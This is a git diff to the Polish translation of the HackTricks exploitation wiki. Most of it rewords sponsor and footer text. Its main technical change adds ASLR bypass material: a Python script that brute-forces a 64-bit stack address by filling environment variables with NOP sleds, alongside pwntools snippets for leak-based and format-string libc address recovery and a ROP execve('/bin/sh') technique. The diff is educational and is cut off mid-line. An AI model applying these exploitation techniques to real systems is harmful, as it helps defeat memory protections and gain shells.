diff --git a/.gitbook/assets/image (1202).png b/.gitbook/assets/image (1202).png new file mode 100644 index 000000000..096c979f4 Binary files /dev/null and b/.gitbook/assets/image (1202).png differ diff --git a/.gitbook/assets/image (1203).png b/.gitbook/assets/image (1203).png new file mode 100644 index 000000000..857c75045 Binary files /dev/null and b/.gitbook/assets/image (1203).png differ diff --git a/.gitbook/assets/image (1204).png b/.gitbook/assets/image (1204).png new file mode 100644 index 000000000..db5113a11 Binary files /dev/null and b/.gitbook/assets/image (1204).png differ diff --git a/.gitbook/assets/image (1205).png b/.gitbook/assets/image (1205).png new file mode 100644 index 000000000..4fab5fc91 Binary files /dev/null and b/.gitbook/assets/image (1205).png differ diff --git a/.gitbook/assets/image (1206).png b/.gitbook/assets/image (1206).png new file mode 100644 index 000000000..acc265687 Binary files /dev/null and b/.gitbook/assets/image (1206).png differ diff --git a/.gitbook/assets/image (1207).png b/.gitbook/assets/image (1207).png new file mode 100644 index 000000000..50cc9d21a Binary files /dev/null and b/.gitbook/assets/image (1207).png differ diff --git a/.gitbook/assets/image (1208).png b/.gitbook/assets/image (1208).png new file mode 100644 index 000000000..2b9922f39 Binary files /dev/null and b/.gitbook/assets/image (1208).png differ diff --git a/.gitbook/assets/image (1209).png b/.gitbook/assets/image (1209).png new file mode 100644 index 000000000..ef98334cf Binary files /dev/null and b/.gitbook/assets/image (1209).png differ diff --git a/.gitbook/assets/image (1210).png b/.gitbook/assets/image (1210).png new file mode 100644 index 000000000..b076519e1 Binary files /dev/null and b/.gitbook/assets/image (1210).png differ diff --git a/.gitbook/assets/image (1211).png b/.gitbook/assets/image (1211).png new file mode 100644 index 000000000..40d15d70e Binary files /dev/null and b/.gitbook/assets/image (1211).png differ diff --git a/README.md b/README.md index 38fa2b4ef..415b0685e 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ Aby zacząć, przejdź do tej strony, gdzie znajdziesz **typowy przepływ**, kt
-[**STM Cyber**](https://www.stmcyber.com) to doskonała firma zajmująca się cyberbezpieczeństwem, której hasłem jest **HACKUJ TO, CO NIEMOŻLIWE**. Przeprowadzają własne badania i rozwijają własne narzędzia do **oferowania kilku wartościowych usług z zakresu cyberbezpieczeństwa**, takich jak testowanie penetracyjne, zespoły Red oraz szkolenia. +[**STM Cyber**](https://www.stmcyber.com) to świetna firma zajmująca się cyberbezpieczeństwem, której hasłem jest **HACKUJ TO, CO NIEMOŻLIWE**. Przeprowadzają własne badania i rozwijają własne narzędzia do **oferowania kilku wartościowych usług z zakresu cyberbezpieczeństwa**, takich jak testowanie penetracyjne, zespoły Red oraz szkolenia. Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com) @@ -32,7 +32,7 @@ Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.
-[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach. +[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach. {% embed url="https://www.rootedcon.com/" %} @@ -69,8 +69,8 @@ Zdobądź dostęp już dziś: Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bug bounty! -* **Wgląd w Hacking:** Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania hakerstwa -* **Aktualności z Hackingu na Żywo:** Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i wglądom w czasie rzeczywistym +* **Wgląd w Hacking:** Zaangażuj się w treści dotyczące emocji i wyzwań związanych z hakingiem +* **Aktualności z Hackingu na Żywo:** Bądź na bieżąco z szybkim tempem świata hakingu dzięki aktualnościom i wglądom w czasie rzeczywistym * **Najnowsze Ogłoszenia:** Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy **Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś! @@ -81,7 +81,7 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
-**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, przejęcie kontroli i dobrą zabawę. +**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębianie się głębiej, przejmowanie powłok i dobrą zabawę. {% embed url="https://pentest-tools.com/" %} @@ -93,8 +93,8 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm SerpApi oferuje szybkie i łatwe interfejsy API w czasie rzeczywistym do **dostępu do wyników wyszukiwania w wyszukiwarkach**. Scrapują one wyszukiwarki, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie. -Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\ -W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się tylko do scrapowania wyników organicznych**. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy w linii, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania. +Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i inne.\ +W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się tylko do scrapowania wyników organicznych**. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy wstawione, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania. Aktualni klienci SerpApi to **Apple, Shopify i GrubHub**.\ Aby uzyskać więcej informacji, sprawdź ich [**blog**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**placu zabaw**](https://serpapi.com/playground)**.**\ @@ -112,17 +112,17 @@ Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\ ### [WebSec](https://websec.nl/) -
+
[**WebSec**](https://websec.nl) to profesjonalna firma cyberbezpieczeństwa z siedzibą w **Amsterdamie**, która pomaga **chronić** przedsiębiorstwa **na całym świecie** przed najnowszymi zagrożeniami cyberbezpieczeństwa, świadcząc usługi **bezpieczeństwa ofensywnego** w nowoczesny sposób. -WebSec to firma **wszystko w jednym z zakresu bezpieczeństwa**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej. +WebSec to firma **wszystko w jednym**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej. -Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że gwarantuje najlepsze jakościowe wyniki, jak to stwierdza na ich stronie "**Jeśli nie możemy tego zhakować, nie płacisz za to!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)! +Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że gwarantuje najlepsze jakościowe wyniki, jak to stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz za to!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)! -Oprócz powyższego, WebSec jest również **zaangażowanym zwolennikiem HackTricks.** +Oprócz powyższego WebSec jest również **zaangażowanym zwolennikiem HackTricks.** -
+{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} ## Licencja i Oświadczenie Sprawdź je tutaj: @@ -141,6 +141,6 @@ Inne sposoby wsparcia HackTricks: * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/SUMMARY.md b/SUMMARY.md index 01dcc5ad9..e58b0cf34 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -689,10 +689,12 @@ * [Exploiting Tools](binary-exploitation/basic-binary-exploitation-methodology/tools/README.md) * [PwnTools](binary-exploitation/basic-binary-exploitation-methodology/tools/pwntools.md) * [Stack Overflow](binary-exploitation/stack-overflow/README.md) - * [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode.md) - * [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) * [Pointer Redirecting](binary-exploitation/stack-overflow/pointer-redirecting.md) - * [Ret2win](binary-exploitation/stack-overflow/ret2win.md) + * [Ret2win](binary-exploitation/stack-overflow/ret2win/README.md) + * [Ret2win - arm64](binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md) + * [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode/README.md) + * [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) + * [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) * [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) * [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) * [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index b5f5ac0a7..208c9d26e 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -6,8 +6,8 @@ Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! -* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks: ## Podstawowe informacje -**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego rozmieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie utrudnia się przewidywanie lokalizacji konkretnych procesów i danych przez atakującego, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora. +**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego przemieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora. ### **Sprawdzanie stanu ASLR** @@ -43,19 +43,19 @@ setarch `uname -m` -R ./bin args ``` ### **Włączanie ASLR** -Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy: +Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być włączona za pomocą następującej komendy: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Trwałość po ponownym uruchomieniu** -Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby uczynić zmianę trwałą, należy edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linijkę: +Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` -Po edycji pliku `/etc/sysctl.conf` zastosuj zmiany za pomocą: +Po edycji `/etc/sysctl.conf` zastosuj zmiany za pomocą: ```bash sudo sysctl -p ``` @@ -69,9 +69,9 @@ PaX dzieli przestrzeń adresową procesu na **3 grupy**: * **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych. * **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`. -* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże, efektywnie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**. +* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednak faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**. -Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia pozwala na obejście ASLR poprzez wielokrotne próby wykonania, aż atak się powiedzie. +Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona ostateczna entropia umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie. #### Pomysły na brutalne narzucanie: @@ -81,24 +81,93 @@ Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia po ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* Jeśli atakujesz zdalny serwer, możesz spróbować **przemocować adres funkcji `libc` `usleep`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji. +* Jeśli atakujesz zdalny serwer, możesz spróbować **przemęczyć adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji. {% hint style="success" %} -W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe. +W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe. {% endhint %} +### Przemęczanie stosu 64 bitów + +Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania błędu w binarnym pliku programu setki/tysiące razy lokalnie, aby go zhakować.\ +Poniższy kod pokazuje, jak można **wybrać adres na stosie** i co **kilka setek wykonania** ten adres będzie zawierał instrukcję **NOP**: +```c +//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie +#include + +int main() { +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; +} +``` + +```python +import subprocess +import traceback + +# Start the process +nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed +n_nops = int(128000/4) +shellcode_env_var = nop * n_nops + +# Define the environment variables you want to set +env_vars = { +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, +} + +cont = 0 +while True: +cont += 1 + +if cont % 10000 == 0: +break + +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' + +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass +``` +
+ ### Lokalne informacje (`/proc/[pid]/stat`) -Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak: +Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje takie jak: -* **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego -* **startstack**: Adres początku **stosu** -* **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS** -* **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP** -* **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń** -* **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe** +- **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego +- **startstack**: Adres początku **stosu** +- **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS** +- **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP** +- **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń** +- **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe** -Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie niektórych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**. +Dlatego jeśli atakujący znajduje się w tym samym komputerze co binarny plik podatny na atak i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**. {% hint style="success" %} Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat` @@ -106,9 +175,9 @@ Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/ ### Posiadanie wycieku -* **Wyzwaniem jest dostarczenie wycieku** +- **Wyzwaniem jest dostarczenie wycieku** -Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję `libc`, która jest używana w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów): +Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc używaną w systemie, który jest wykorzystywany). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę dla więcej szczegółów): ```python from pwn import * @@ -143,7 +212,7 @@ Wykorzystując przepełnienie bufora, można wykorzystać **ret2plt** do wycieku * **Format Strings Arbitrary Read** -Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, możliwe jest wyciekanie adresu funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): +Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, można wyciec adres funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -170,8 +239,8 @@ Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie: ### vsyscall -Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż są one zasadniczo częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\ -Jednakże nie znajdziesz tu super interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`) +Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\ +Jednakże tutaj nie znajdziesz zbyt interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`) (Poniższy przykład i kod pochodzi [**z tego opisu**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)) @@ -218,14 +287,14 @@ gef➤ x/4i 0xffffffffff600800 ```
-Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! -* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md index f5ef1af10..864fbca0a 100644 --- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md +++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md @@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks: ## Podstawowe informacje -To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall. +To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscalla. Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfiguracja: @@ -28,7 +28,7 @@ Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfigura Więc w zasadzie trzeba zapisać ciąg znaków `/bin/sh` gdzieś, a następnie wykonać `syscall` (będąc świadomym wymaganego wypełnienia do kontrolowania stosu). W tym celu potrzebujemy gadżetu do zapisania `/bin/sh` w znanym obszarze. {% hint style="success" %} -Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode.md). +Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode/). {% endhint %} ## Gadżety rejestrów @@ -183,8 +183,8 @@ target.interactive() ## Inne Przykłady i Odnośniki * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) -* 64 bity, brak PIE, nx, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam. +* 64 bity, brak PIE, nx, zapisz w pamięci ROP do wywołania `execve` i skocz tam. * [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html) -* 64 bity, nx, brak PIE, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane. +* 64 bity, nx, brak PIE, zapisz w pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane. * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) -* 64 bity, brak PIE, nx, BF canary, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam. +* 64 bity, brak PIE, nx, BF canary, zapisz w pamięci ROP do wywołania `execve` i skocz tam. diff --git a/binary-exploitation/stack-overflow/README.md b/binary-exploitation/stack-overflow/README.md index 970cdd52c..5a3eaf98f 100644 --- a/binary-exploitation/stack-overflow/README.md +++ b/binary-exploitation/stack-overflow/README.md @@ -10,19 +10,19 @@ Inne sposoby wsparcia HackTricks: * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie. +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks 